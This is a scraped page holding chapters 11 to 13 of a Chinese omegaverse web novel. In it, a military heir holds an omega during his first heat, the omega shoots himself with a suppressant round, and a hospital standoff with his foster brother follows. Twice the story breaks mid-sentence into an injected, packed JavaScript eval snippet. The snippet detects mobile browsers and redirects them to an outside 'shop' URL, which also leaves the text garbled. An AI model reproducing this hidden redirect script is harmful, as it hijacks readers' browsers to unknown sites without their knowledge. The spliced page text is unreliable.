他是很典型的混血长相,浓眉,唇色浅淡,鼻梁高挺,眼窝很深,令那双眼睛像是山谷间凹陷进去的湖泊。 笑起来时,他那双祖母绿的眼睛弯起来,冷漠的气息一收,乍一眼看上去亲切极了。 然而那把击中蒋白止的枪此时正拴在他腰间的皮带上,正冷冷闪烁着寒光,瞬间打破他那股亲切的假像。 金发青年慢吞吞地走过来,低着头,端详着祝青辞。omega浑身绵软无力地倒在军用坐垫上,喘着气,灰尘沾满了他一身,原本雪白的衬衫被玷污,让他看上去凌乱而狼狈。 沈有铮看着omega潮红而茫然的脸,忍不住挑了挑眉:“真是奇怪,你是第一次发|情期么?” “幸好我嗅觉失灵了,还要一个月才能恢复。不然我们孤男寡男,此刻就十分危险了。” 他摇了摇头。祝青辞吃力地撑开汗涔涔的眼皮。 他性别分化得晚,加上戚珣几乎每周都要标记他,因此他从来没有出现过发情热,更是因为缺乏的性教育知识对发|情期的了解知之甚少。 这次可能是因为发烧加上情绪波动过大,他第一次知道发情期这样难受,刚试着张口,嘴里就溢出一声不成调的呻|吟,让他又赶忙闭上了嘴。 他无力地倒在军用软垫上,眼珠缓慢地挪到沈有铮脸上,用目光质询,你到底想干什么? 沈有铮读懂了他的眼神,“瞪我作什么?如果不是我,你现在已经被蒋白止撕碎标记了吧?不应该感谢我吗,戚珣的小男友?” 最后几个字咬得格外用力。祝青辞能感觉到他对自己莫名的敌意,沈有铮脸上笑吟吟的,目光却很冷,令人情不自禁地打个寒颤。 祝青辞调整了几次呼吸,勉强控制着自己声音不走调:“你……呃……是军部的人。” 沈有铮点了点头,他没有遮掩,摊开双手,“没办法,蒋白止忽然易感期失控,贵族学院中S级的alpha屈指可数,平常的安保自然无法将他逮捕,自然只能求助于我了。” 祝青辞深呼吸一口气,“你……是喜欢戚珣,才绑架我……” 沈有铮脸色一变,眉头蹙起,他一脸吃了癞蛤蟆的表情,仿佛祝青辞对他进行了一场莫大的侮辱,疑惑道:“你在羞辱我的品味?” “那你……是和戚珣有仇?” 祝青辞盯着他。 沈有铮顿了顿,他伸手过去,祝青辞下意识地躲开,却依然被他掐住了下巴。 皮革手套的触感冰凉,带着无机质的冰冷感。沈有铮蹲下来,神色浅淡地注视着被他牢牢掌握在手中的omega。 祝青辞呼吸急促,被人掐着下巴,无能为力地被迫仰起头,暴露出白皙纤长的脖颈供对方把玩赏弄,锁骨上一片晶莹的薄汗。 沈有铮像是抓到猎物的大型野兽,饶有趣味地凑近观察他,仿佛发现了什么有趣的新玩具,新奇道:“你在套我话?” “我……不认识你,而且,这所学院我才刚来,触及不到你的利益。” 祝青辞保持着冷静,断断续续地道:“所以你是冲着戚珣来的。” “真聪明。”这位绑架犯差点为他可怜的受害者鼓掌,“可惜,你怎么就来到了这所学院,又偏偏要和戚珣绑定关系?” “单单是omega的身份,就够你一辈子荣华富贵了——前提是找个好老公。可惜,你看人的眼光不太行,戚珣可称不上是什么好人。” “怎么样,要不要试试跟我逃跑?” 绑架犯低声诱哄着,像是在拐卖一个无知闺阁少女的劫匪。皮革手套摩挲了一下祝青辞的下巴,他后脊瞬间窜起一阵麻痒感。 发|情期对于任何亲密接触都极为敏感,疏松平常的触碰在发|情期却无异于投下一枚重磅炸弹。 他十指握拳,指甲陷进肉里,用疼痛控制自己保持清醒。 “你不会帮我的。”祝青辞轻声道。 “为什么?”沈有铮问。 “因为……” 祝青辞神智昏茫,身体内部像是有一把火在烧,他脚趾蜷缩,牙齿深深陷进下唇中,仿佛有无数细小的电流顺着脊椎一路往上,噼里啪啦地打出令人战栗的火花。 沈有铮居高临下地盯着在肮脏软垫上,艰难挣扎保持清醒的omega。 即使在情|热煎熬之中,omega那双蓝色眼睛也漂亮得惊人,仿佛古华夏珍藏已久的青花瓷瓶上的蓝釉,他既没有放任自己沉沦于欲|望,像是被发|情期折磨的omega下贱地求饶,却也无法逃脱欲|望如泥潭一般抓着他往下沉的惯性,像是一颗被催熟的果子,浑身上下流出馥郁的汁水。 因此,那双眼睛显得更为生动与惊艳。沈有铮继续问:“你为什么笃定我不会帮你呢?” 祝青辞却不说话了。汗湿的乌发贴着他白腻的侧脸,沈有铮有些不满意,神色冷淡下来。 接着,他像是想起什么似的,懒散地勾唇一笑,拿出手机,在祝青辞面前晃了晃,“啊,忽然想起来,我是不是应该跟戚珣打个电话,告诉他——他的小男友在我这里陷入发|情期了?” 他露出猫玩耗子似的笑容,祝青辞瞳孔微微一缩,“不要!” 情绪剧烈波动导致他身上一瞬间爆发出更为浓烈的信息素,密封的仓库被甜腻芬芳的气息填得满满当当。 这是Omega平生第一次即将发情所产生的纯净荷尔蒙,戚珣对他的临时标记已经失效,如果气味扩散出去,对祝青辞这样的omega将极其危险——届时可能就不是一个蒋白止,而是数个、甚至数十个失去理智的alpha来争夺他。 他会像是一只被撕咬的猎物,被alpha们争夺、玩弄、接着被撕咬得粉碎。正确做法应该是尽快逃离这里,并且注射抑制剂。 然而祝青辞简直是喝凉水都塞牙缝——倒霉倒到家,发烧与发|情热双管齐下,他连脑浆都快沸腾了,只能艰难地摇摇欲坠保持最后一丝理智。 他试图让自己放松,从而积攒一点体力。沈有铮嘴角弧度翘了翘,将手机对着他,摄像头在阳光下闪烁着冰冷的光。 “嘟嘟……” 沙哑的电流音在空中回荡,如同噼里啪啦的营火。祝青辞那双漂亮如蓝宝石的眼瞳紧缩着,“你……” 他居然真的打电话了! “喂?小戚总在吗?麻烦让他接一下电话。” 沈有铮可不管他死活,他像是一个恶劣至极的绑架犯,此刻理所当然地对人质最亲近的人拨打了电话。 至于谋财还是害命,只有他自己才知道。 电话接通后,里面似乎有人说了什么,电话声模模糊糊,祝青辞只感觉全世界的声音似乎都变成了落入水中的泡腾片,只有一个又一个模糊的气泡。 沈有铮“嗯”了几声,接着,很无辜地回答:“不知道啊,小戚总,你家omega不小心被我捡到了,这可怎么办呢。” 皮革手套握着的手机清晰地拍着祝青辞此时的狼狈模样。 画面上,omega原本苍白的肌肤因为情|热而染上了一抹潮红,祝青辞头抵着脏兮兮的床垫,浑身上下都被灰尘沾染,整个人像是被扔进沸水中,意识不清,四肢百骸都透着酸软,气泡从他的骨头缝隙中咕噜咕噜、争先恐后地升起,冲破他紧咬的牙关。 “啊……” 他无意识地绞着双腿,却依然还是在咬牙,屈辱道:“关、关掉……” 沈有铮勾了勾唇,他手机开了静音,里面的声音无法传出,“凭什么要我关掉?你怕他生气?为什么?” “因为他会冲你发脾气,朝你发火,骂你,甚至打你,我说的对不对?那你为什么还要跟他在一起?” “那你为什么还要因为他,而害得我失去双腿呢?” 沈有铮最后一句话出来时,仓库里的温度都下降几度,仿佛一阵阴冷腐烂的风。 不过他很快又笑起来了,一双祖母绿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他失去兴趣似的,松开捏住祝青辞下巴的手,omega瞬间跌回软垫上,像是一条被抽筋拔骨的鱼,没有骨头似地软倒。 祝青辞绷紧的神经一松懈,脊椎处的酥麻感就来得更为猛烈,大腿内侧肌肉甚至因为痉挛而微微发抖,他喘了几口气,断断续续,“抑制剂……快给我抑制剂……” “没带。” 沈有铮重新坐回椅子上,这位厚颜无耻的绑架犯咬着棒棒糖,臼齿微微用力,粉红色的糖果在他舌尖爆开,他将塑料棒用纸巾包裹起来放好,接着,面无表情地看着omega痛苦地在他面前挣扎,沉思片刻,忽然道: “你求我,我就咬你一口,怎么样?” 他右手撑着脸,食指在太阳穴不紧不慢地敲着,一条腿搭在另一条腿上,脸上发笑,可眼神却是毫无笑意,冷淡得令人发颤。 他像是对祝青辞怀抱着极为恶意的偏见,笃定祝青辞会被发|情期折磨,对他下跪求饶。 祝青辞听了,却艰难地从军用坐垫上坐了起来——他的手撑在坐垫上时还在颤抖着,从汗湿的刘海下,抬起一双湿漉漉的眼,盯着沈有铮。 他像是一条被抛上岸的人鱼,张着嘴,艰难地呼吸着,目光却在夕阳下,有些模糊不清。 “你……” 一阵温热的气息猛的扑面而来。 沈有铮微微睁大双眼,表情一凝。一只手却已经勾住了他的脑袋,将他缓慢而坚定地摁下。 他眼前是omega骤然放大的一张脸。 两个人一瞬间挨得很近,omega眼神迷离地看着他,一双浅色的眼睛水光潋滟,小脸泛起不正常的潮红,嫣红的舌尖从唇缝间一闪而过,漂亮的唇珠微微鼓起,看上去像是一只魅惑众生的白狐。 祝青辞微微一笑。 他笑起来真的很惊艳,像是开至荼蘼的花,带着温润而神秘的东方美。 沈有铮恍惚了一瞬间。 然而omega抚在沈有铮后脑的手指温度烫得惊人,沈有铮皱了皱眉,忽然惊觉不对劲。 这个温度怎么比刚刚还烫了?烫得像是一块被太阳暴晒过的石头—— 腰间猛地一轻,沈有铮低头,他的枪不见了! 他猛地抬头,看见omega一击得手,拿着他的枪跌跌撞撞地往后退了几步,吃力地撞在水泥墙上。 方才这样简单的动作几乎耗光了他的全部体力,他单薄的胸膛剧烈地起伏,方才还暧昧迷离的眼神,此刻却仿佛被投入冰湖中的熔铁,彻底冷却下来。 祝青辞眼神发冷,他看着脸色微变、向他冲过来的沈有铮,轻轻笑了一下,道:“沈小军爷,是吗?” 他笑起来一瞬间时,眼睛弯了弯,像是一泓漂亮的月牙,钩在他人心上,他举着枪,对准沈有铮。 沈有铮:“里面只是抑制弹!你朝我也没有用,这种装载着特殊弹药的枪械属于严控军械,你这算是袭警——” 他未说完的话戛然而止,缓缓睁大了双眼,不可置信地看着眼前一幕。 祝青辞将枪口对准了自己。 沈有铮的表情空白了一瞬,“等会!祝青辞!那是alpha的抑制弹,alpha的血液可以将抑制弹溶解,但是omega体质太弱,会伤到你——” 祝青辞罔若未闻,他抬起头,朝飞奔而来的沈有铮笑了笑。 “砰” 那枚子弹在极进距离下射击,穿透了omega的小臂,在半空中绽放出一个晶莹剔透的血花。 强烈的疼痛和昏睡感一并袭击上他的大脑。他眼皮沉沉地坠了下去,身子无力地软倒,跌入一个剧烈颤抖的怀抱,耳畔隐约听见一个嘶哑至极的吼声。 “祝青辞!!!” 12. 第 12 章 祝青辞迷迷糊糊间,做了一个梦。 梦中一片大雪,他又被关在了雪白一片的医院。 冬天时的天空总是阴沉沉的,即使飘着雪花,似乎也是一种毫无生气、透露着死气的美丽。 他静静地坐在床上,床边灰色没有色彩的仪器发出无机质的“嘀嘀”声,在病发内空荡荡地回响。 男孩没什么表情地看向窗外,他看上去才很小,脸巴掌大,瘦瘦尖尖的,纷纷扬扬的雪花如柳絮一般飘落,病房外,传来低声交谈的声音,有人鬼影一般从门外一闪而过。 一个男人和一个女人的声音隔着门扉传来: “青辞的身体很不好,会不会有问题?能养活吗?” “有什么问题?当时捡回来时,不就是冲着这一点吗? 身体不好,不用怕他与小珣夺权,底子也还行,不是劣等货,如果未来分化成omega,就更好了。 毕竟,不少口味比较独特的贵族,就嗜好这一口,用来联姻,说不定可以换取更大的利益。” “你说得有道理。不过,话说回来,小珣最近是不是太黏着那青辞了?” “没错,我也发现了。总是黏糊糊地缠着祝青辞,不像个男孩,太不像话了。我已经下令让戚珣三个月内不得靠近祝青辞。小孩嘛,忘性很快的。三个月后,他肯定对祝青辞就失去兴趣了。” “青辞一个人在医院里,没问题吗?” “有什么问题?有吃有住,还要怎么样?应该对我们感恩戴德。” 小祝青辞垂下眼睛,睫毛在他苍白的脸上浮动出一小块阴影。 那是捡他回来的戚家养父母,不过,对于小祝青辞来说,他们说的东西并不会刺伤他,这也不算是什么很伤心的事情。 理论上看,一个病弱的孩子会被收养,不是撞大运,遇见了大好人,就是别有居心。 小祝青辞其实很聪明,他被捡回来后,曾经在一场考试上展现出了惊人的记忆力,并且轻松地在一场跨年级的考试中,拿了满分。 戚珣考得比他差,但是当时却只是很高兴地在他旁边说,“哥你好厉害。” 小祝青辞拿给养父母,他觉得养父母应该也会开心,可是不久,戚父就对他说:“青辞,你的身体不好。” “学校就不去了。” 祝青辞这才明白自己犯下了一个多么大的错。 当晚他发了一场高烧,醒来后,似乎烧坏了脑子,他变得更加柔弱,也更加温顺听话,像是一只收敛了所有爪牙,变得温顺无害的小病猫,隔三差五就要住一趟医院。 他今年不知道第几次又住院了,他也数不清,五次?还是六次…… 门外的声音渐行渐远,他觉得有些困倦,戚家的事情很复杂,他认真地思考怎么才能离开戚家,毕竟他的户口和身份证都记挂在戚家名下,而十二岁的他,大概也很难养活这么一个体弱多病的自己。 小祝青辞是一个坏小孩,他从很小的时候就谋划着离家出走,是一个背信弃义的叛徒,只不过,他犹豫着,不知道应不应该带着自己年幼的弟弟一起逃跑。 他越想越困,干脆不想了。正要倒进被子里时,一阵凉风却猛地灌进来,冷冰冰地扑了他一脸。 他一惊,眼睛猛地睁开,一抬头,就见到窗户大开,一个半大的男孩吃力地攀住窗户,对他胡乱挥舞着手,急急忙忙道:“哥哥快抓住我!我快摔下去了!” 他叫嚷的声音还不小,小祝青辞被吓了一跳,连忙扑过去,拽着男孩的胳膊往里拉,他的手臂被拽得生疼,忍不住训斥道:“这是二楼!你怎么不走正门!” “砰”地一声,男孩拔萝卜似地被拉了进来,两个人滚作一团,祝青辞倒在地上,闷哼一声,刚要起来,又被男孩扑倒在地。 男孩死死抱住他,脸在他胸口胡乱地蹭着,像是一只湿乎乎的小狗。 “正门被我爸看着,他不让我进来看你,我就顺着通风管道爬进来了。”男孩趴在他胸口上,仰起脸,露出一双乌黑发亮的黑眼睛,黏糊糊地抱住祝青辞,“哥哥我好想你。” 他身上的衣服很冷,看得出男孩在窗外受过一阵冻,爬管道的手指通红,还有几道细细的口子,正往外渗血。 小祝青辞刚碰一下,就被冷得一个哆嗦。 他赶紧把男孩从身上拽下来,把他的外套扒拉下来,着急忙慌地把他带到房间的烤手炉旁边,斥道:“太胡来了!你父亲不让你来见我,你就乖乖在家不好吗。冰天雪地,管道湿滑,上面还结了不少冰锥,爬管道要是摔着了怎么办?不小心被冰锥划伤了怎么办?” 男孩被他劈头盖脸一顿骂,蔫吧下来,“伸着两只萝卜似短小的手,放在烤炉上,烤红薯似的,“可是我想你呀,你不想我吗,哥哥。” 祝青辞一口气卡在喉咙里,不上不下,半晌,他定定地看了男孩一会,认栽道:“戚珣,下次不许这样胡来了。” “喔。”小戚珣不以为意,他只觉得自己见到了哥哥,开心极了,被骂得灰头土脸也毫不在意,光滑的大脑上训斥就这么滑溜溜地不留一丝痕迹。 他从怀里掏出几个皱巴巴的折纸,“哥哥你能不能给我叠千纸鹤?” “这是什么?”祝青辞问,“学校的作业?” 戚珣点了点头,又摇了摇头,“听说叠千纸鹤可以实现愿望。我想许愿,可是一直叠不好。” 火炉下,男孩的神色格外认真,“我想许愿哥哥身体早点好起来。” 小祝青辞:“……”他沉默一会,“你用我叠的千纸鹤,为我许愿?” 好诡异。但是男孩却丝毫不以为耻,顶着一张精致的脸,明目张胆地耍无赖,“不行吗?” 小祝青辞最后还是给他叠了。 晚上的时候,小戚珣没有走,爬到他的病床上,硬是要跟他挤一窝。祝青辞不让,他就开始又哭又闹,小孩似乎都这样闹腾,最后祝青辞只得无奈给他腾出一个位置,男孩抱住了自己的哥哥,把头埋在他的颈窝中,才心满意足地闭上了嘴。 祝青辞犹豫了很久,才长叹一口气,最后把手缓慢地放在男孩的脊背上。 两个小团子挤在病床上,颇有相依为命的意思,窗外大雪纷飞,呜呜地寒风吹过窗纸,病房内的暖炉偶尔响起劈啪的电流声,枕头旁则是静静地堆放着几只千纸鹤。 在这样严酷的冬天,似乎也没有那么难捱了。 * “……患者体温目前还在40℃没有褪下,我们这边会派人24小时监管。他的体质似乎有明显的抗药性,而且可能是因为发|情期的影响,导致他的身体格外虚弱。” “如果2小时后,体温一直居高不下,后续可能要采取物理降温的手段。” 军部私立医院,VIP病房。 寂静的空气中,传来仪器“嘀嘀”作响的声音。 一个omega静静地躺在病床上。他脸上泛起不正常的红潮,单薄得好似只剩下一把骨头,病号服套在他身上显得过于宽大,挂着吊针的手臂上缠着几截绷带,无力地垂在病床外。 青色的血管在他苍白的手背下若隐若现,仿佛游走在名贵瓷器上的纹路。病号服被掀开几颗口子,心电仪贴在他苍白的胸膛上,胸膛起伏很微弱,近似于无。 一只修长的手伸出来,探了探昏迷少年的额头,还是滚烫的。沈有铮收回手,环胸,静静地看着病床上的少年,一张俊秀有些邪气的脸上没什么表情,淡淡向身旁的医护人员发问:“他的手怎么样?” 医护人员抱着记录板,低头道:“我们仔细检查过了,抑制弹没有击穿他的手臂,只是在皮肤表层擦过,刚好擦开一个口子,抑制弹接触血液的瞬间融化,顺着他的四肢百骸灌入,很好地抑制了他的发|情期。” “是吗。”沈有铮撩起眼皮,祖母绿色的眼珠轻微一转,看向那跳跃着线条的心电仪,“他心脏又是怎么回事?” “我们怀疑他有轻微的先天性心脏病。”医护人员说,“心电图上他的电轴有轻微的左偏,可能是动脉导管未闭,但是并不是很大的问题,只是因为这次高烧导致他心律不齐,我们以防万一,对他做了一场检查。” 沈有铮颔首,纤长的睫毛垂下,支着下巴一动不动,一副沉思的模样。 过了好一会,他才若有所思地问道:“医生,如果我现在给你一把枪,要求你给自己一弹,子弹必须擦过自己的手臂,要求不能落空,也不能直接射|穿,你能做到吗?” 医生愣了愣,他迟疑着上下打量了好几眼沈有铮的表情,颇有些为难道:“应该是……做不到的。” “我没接触过枪,先不说精准控制子弹,恐怕连向自己射击的勇气都没有。” 他说的没错。即使是沈有铮,也不能保证对自己开|枪时那么游刃有余,且笃定自信。 ——遑论当时这位脆弱的omega体温已经超过40摄氏度,距离大脑蒸发只差一步之遥,维持理智都堪称神迹。 “……那就很有意思了。” 沈有铮意味深长地一笑。拉过旁边的椅子,椅子一转,施施然反身坐下,双手趴在椅背上,带着探寻意味的目光偏头望向床上的人。 他的目光从omega苍白的脸颊,一路缓慢向下移动,慢慢打量着昏迷的omega,仿佛一个准备食材的顶级大厨,在料理前一寸又一寸地精心研究食物的肉质以及纹理,透过他的皮囊,去捉住里面的血、肉、骨。 alpha的目光莫名粘稠,湿哒哒地附在omega身上。可惜omega深陷昏迷之中,对外界无知无觉。 他放在床上的手微微张开,十指如葱白一样,白嫩、纤长、漂亮,上面没什么茧,尤其是中指,并没有习惯握枪的人留下来的枪茧。 “戚珣……” 昏迷中的少年眉头抽动一下,神志不清地呓语。沈有铮挑起一边的眉毛,手指戳了戳omega的脸蛋,在omega如蒸包似的脸蛋下留下一个酒窝似的坑。 “我救了你,你在我这里喊别人的名字,是不是不太礼貌,小男友?” 祝青辞睡梦中皱了皱眉头,似乎被戳得有些不舒服,侧过头,似乎想要跑,又被沈有铮掐着下巴掰回来了。 “跑什么,我还能吃了你不成?别把针给挣脱了,”alpha笑容懒洋洋的,他撑着脸,百无聊赖地盯着睡着的祝青辞,手指点了一下omega挺翘的鼻尖,“小狐狸想必成精不久,功力不深,狐狸尾巴都露出一截了。” 他嘴上说着莫名其妙的话,身旁的医生汗如雨下,心想沈少最近是真的越来越疯了,什么狐狸尾巴都能跑出来,要不要和家主汇报一声? 他还在踌躇犹豫着,门却“砰”地一声被撞开,门外,一个警卫冒冒失失地闯入,惊慌失措地对他说:“小……小军爷,小戚总堵在医院楼下了!” 沈有铮讶异地一挑眉,手指顺势而为,很亲昵似地轻轻掐了一下祝青辞的鼻尖,“你家主人居然上门找我了,稀客,这么看来,他似乎也不是全然不在意你。” 他站起身,将椅子轻松提起来,摆正,下楼,果不其然,就见到戚珣正在医院门口堵着他。 戚珣一身黑色长风衣,头发凌乱,平时精致的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731088|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉眼此时还沾了几滴雨水,湿漉漉地在他脸上蜿蜒而下。 他看上去是从片场匆忙赶回来的,不知为何,不像个明星,倒像是一个雨夜杀人犯——可能跟他浑身上下冒着的煞气有关,都快黏稠成实质的黑雾了。 “不知哪门子风把小戚总吹来了?”沈有铮笑着道:“站在这里做什么?雨夜总是冷的,不如进来坐一坐、躺一躺?” 此时夜幕四合,夜雨声烦,滴滴答答地打在医院门口的芭蕉树上。戚珣看到他,那股浑身上下不悦的气息才微微收敛,露出一个笑脸,“沈少。” 四大世家颇有私交,大家这些年相处得不错的,也互相帮对方擦过不少屁股,因此真要算起来,大家关系不错,至少也是吃过不少次饭和过不少酒的狐朋狗友。 戚珣道:“下次一定。我还急着带我的小仆从回家,家中二老已经在等待了。” 他这话说得好不文绉绉,表面功夫倒是做得挺足。沈有铮却只是勾唇一笑,颇为为难道:“这可麻烦了。毕竟,你的小仆从现在还昏迷不醒。” 戚珣皱了皱眉:“什么?”他下意识走上前一步,替他打伞的人忙不迭往前也一伸,才没落得他成为一只湿漉漉的落汤鸡,“祝青辞怎么了?” 沈有铮有些讶然道:“你不知道吗?他发|情热来了,结果还发烧,晕倒在路上,还好被我捡回来。真是好险好险,要是换做一个下流的alpha,说不定已经把他的腺体咬穿了。” 他隐瞒下了蒋白止与祝青辞发生的事,以及那张充满罪证的照片,不知道心里在想什么,慢悠悠道:“不过放心,没什么大碍,一堆医生护着他,毕竟是小戚总的人,无论如何,我都必须上心。” 戚珣像是松了口气,肩膀的弧线都从紧绷变得舒缓,他点了点头,“感谢沈小军爷对家仆的照顾,他日我一定登门拜谢。不过,毕竟是家事,沈少重任缠身,不好叨扰,我就先把祝青辞带回去了。” 沈有铮抱着双臂,发现了新大陆似的,新奇地问,“怎么,小戚总是不放心我看不好他,还是……太在意他,所以必须把他放在身边?” 戚珣一瞬间仿佛被踩了脚,脸色猛然涨红,眼神冷下来,“在意?谁会在意一个无关紧要的仆从。只是如果他不来,我父母会指责我罢了。” 他语气缓了缓,“并非不放心沈少,只是太过麻烦……” 沈有铮又不是蠢货。他摸了摸下巴,眼神弯起来,笑道:“不麻烦。今夜下雨,反倒是转院才叫麻烦,不如,戚总请回,明天我必定全须全尾地将你的小仆从送回学校。” 戚珣微微皱眉,他看出沈有铮不愿意放人,似乎有些不悦。沈有铮看他模样,继续加大筹码:“他发|情热虽然已经退了,但是还在高烧,40℃居高不下,如果移动中出了什么问题,恐怕麻烦就大了。” 他说的没错,对于任何病人来说,医院转移的路上随时可能发生意外,更何况祝青辞的情况不稳定。 戚珣听到这里,面色才微微一变,“我去看看……” “如果传染了,恐怕会耽误戚总的工作。” 说来说去,似乎就是不愿意让他去见祝青辞,戚珣意识到这一点,心里顿时便像是被一个疙瘩硌了一下。 沈有铮却又补充:“小戚总不必多想,沈家有块地的投标,恐怕还要麻烦戚家帮衬,就当是我今日卖你一个人情。 毕竟,军部私立医院可是全国最顶尖的医院,戚家的私人医生恐怕也没有他们面对伤患的经验丰富吧?” 他这话滴水不漏,戚珣也挑不出差错,沉郁着一张俊秀的脸。 九月的雨连绵不绝,顺着医院灰色的檐脊流下,“唰唰”一片,形成透明的雨帘。戚珣隔着雨帘,如有所感地抬头望向祝青辞所在的病房。 病房被窗帘遮挡着,什么也看不见。 他内心莫名烦躁,也许是因为下雨,也许是因为祝青辞发|情期来了,居然该死地不求助于他,也许是因为一些别的,说不清道不明的原因。 他看着那扇窗户,想起了小时候还天真地被祝青辞蒙骗玩弄的自己。 那时的他确实是真心喜欢过祝青辞的, 冬天的水管道是彻骨地冷,上面接满了冰凌,他戴着厚厚的手套,试图攀爬上去,然而手套太厚,阻隔了寒风,就使不上力。 最后他把手套扒下来,凭着一双稚嫩的手爬上去,冰凌在他手上划出细细小小的伤痕,很痛,让他记了很多年,可打开窗户,看见祝青辞那种雪白而惊愕的脸时,他又觉得什么都值了。 只是祝青辞却并不把他放在心上,甚至还背叛他,将他的一片真心摔在地上,摔坏,踩碎,碾进泥土。 戚珣像是骤然被蛇咬了一口,眉头狠狠跳了一下。 他清醒过来,不明白自己为什么要为祝青辞的事,大晚上跑到这样的地方,还和多年老友要人。祝青辞值得他这么花费心血么? 无论如何,沈有铮之前根本不认识祝青辞,眼下只是为了两人交好的关系从而对祝青辞照拂,他大可不必想那么多。 戚珣深呼吸一口气,闭了闭眼,最后冷静下来,克制道:“行,那就麻烦小军爷帮忙照顾了。” 他说出这句话时,还不知道沈有铮日后打算做什么,否则恐怕是恨不得穿越时空,把说出这句话的自己给掐死。 沈有铮则兴致盎然地看着戚珣变化莫测的表情:“放心。” 他像是一只不怀好意的大尾巴狼,视线慢悠悠地挪到祝青辞病房的方向,隔着雨幕打量半晌,最后勾了勾唇,意味深长道:“我一定会帮你照顾好你的小男友的。” 13. 第 13 章 祝青辞觉得自己的梦似乎被人切成了很多碎片,一块一块的,漫长而冗杂。 他一会梦见了刚进戚家的时候,一会似乎又梦见了一个学校,食堂热闹拥挤,锅碗瓢盆叮当作响。 与加德王立学院还要分阶级的食堂截然不同,他似乎被人挤来挤去,有热烘烘的男生搂住他脖子,“小祝,吃这么少可不行,你看你这么瘦,到时候去执行任务怎么办?” “多吃点呗。你不够钱的话我请你?” -患者体温过高,必须物理降温! -他体质太弱了……沈少,怎么办? -抑制弹里面的药剂太过刺激了,可能是这个加速了他的病情…… 好吵,感觉两道声音交替着在他耳边,快把他脑袋挤炸了。祝青辞模模糊糊地想,还有什么没做来着,军部考试的报名时间是不是快截止了…… 他觉得自己仿佛被人推进了冰库,温度骤然降低,冷道刺骨冻肉。这种寒冷太过难捱,有点像是你在冬天不小心将空调开成了制冷,即使裹着被子,也依然挡不住丝丝凉凉的寒气。 他睡得迷迷糊糊,大脑一片浑浑噩噩,思考不能,艰难地在被窝里蜷缩起来,却忽然摸到了一个热源。 那像是久行沙漠之中终于看见绿洲,祝青辞下意识地抓住了那个热源,像是一个扑火的飞蛾,抓到了,就死也不放手。 只是那个热源不大,似乎只有拳头大小,而且他从被子里伸出颤颤巍巍的一只手,冷风就又灌进来了。于是他又轻轻地打起了寒颤,可是即使冷得不行,他也没有松开那只手。 “……” 好在,耳畔窸窸窣窣地,似乎有人轻轻叹了一口气,接着是布料摩擦的声音,那个拳头大小似的东西把他的手掰开,祝青辞瞬间打了个喷嚏,有些难过地把手收回被子里。 不过,没过多久,一个超级大暖炉似乎就在他身旁那么躺了下来。 暖炉好。暖炉和空调真是人类最伟大的发明。祝青辞立刻贴了上去,发出一声舒服的喟叹,只是暖炉外面,似乎还隔着一层布料,让热传导十分不均匀。 睡梦中祝青辞按照直觉行事,他摩挲了半晌,耳边似乎有人倒吸凉气的声音,不过他觉得可能是暖炉运作的某种声响,接着,他终于找到了布料的开口,就那么一掀,直直地将自己冰冰凉凉的手贴了上去。 暖炉似乎僵硬了一下。 触感不太对。祝青辞觉得这个暖炉似乎有点不太硬,不像是钢铁打造的,也说不出是什么材质。他冷得瑟瑟发抖,不管三七二十一,便八爪鱼似地缠住了对方。 温度源源不断地传过来,他长舒一口气,因为寒冷而紧皱的眉头终于缓缓松开,一冷一热让他紧绷的精神一松,头一歪,终于彻底沉睡过去,睡了个踏实而舒心的觉。 窗外的雨不知道什么时候停了,竹影在浓墨般的月色下摇曳,叶片摩擦,沙沙作响地打破静谧的夜色。 祝青辞第二天醒来时,朝阳缓慢地从山头爬起。他睡得头昏脑涨,手下意识地往旁边摸了摸,摸到了什么硬邦邦的东西,带点滚烫的温度,往他指尖上蜷。 他一愣,迷迷糊糊的睡眼瞬间睁开,一扭头,便看到一个活人居然躺在他旁边。 他躺在病床上,隔壁的病床不知道什么时候并过来,并且放下了中间的挡板,此时,祝青辞的手正贴在身旁活人的胸膛上,手指下似乎还能触摸到他滚烫而有力的心跳。 正常人一醒来,看见一个不认识的人,就算不尖叫出声,也要面色大变。然而祝青辞只是愣了愣,他那条慢吞吞的反应弧似乎绕了地球一圈,都还没重新回馈到他的大脑中。 他大脑宕机时的表情也挺好玩的,身旁青年瞬间就笑了。 祝青辞感觉到青年胸膛下传来闷闷的笑意,带着他的手指一起震动,瞬间一片麻痒,一声低笑传来,“抱着我睡了一晚上还不够,刚醒来就要揩别人油,戚家这样教你的?” 祝青辞彻底清醒了。 他猛地将手抽回来,窗外的阳光穿过槐树的树梢,挂在床边的薄纱被晨风吹拂而起,金色的暖阳流淌进来,照亮身旁人的一张脸。 晨光将他的脸照得很白,与祝青辞的苍白不同,是那种很健康的、经过锻炼和阳光曝晒后的颜色。那张脸刀削斧砍似的,五官锐利至极,眉眼间是一股懒洋洋的张扬劲,莫名令人想起“皎若太阳升朝霞”这样的话。 此时,这人顶着一头快闪瞎祝青辞的璨璨金发,睁着一双祖母绿的眼,在玫瑰色的朝霞下幽幽地看着他。 祝青辞记忆慢慢复苏,像是煮熟了粥,咕噜咕噜地冒起了泡。 他先是往床边缓慢地蠕动了一下,接着,用一种警惕的目光审视了一下沈有铮,蛄蛹着挪到床边,身体力行地表达出抗拒以及想要逃跑。 沈有铮见了,眉头挑了一下,直接伸出手,将他的手腕抓住,猛地将他往回拉,“躲什么?再退,就要滚下床了。” 床单瞬间被拉出褶皱。他撑起身体,一只手撑住自己的脸颊,慢悠悠地打量着祝青辞。 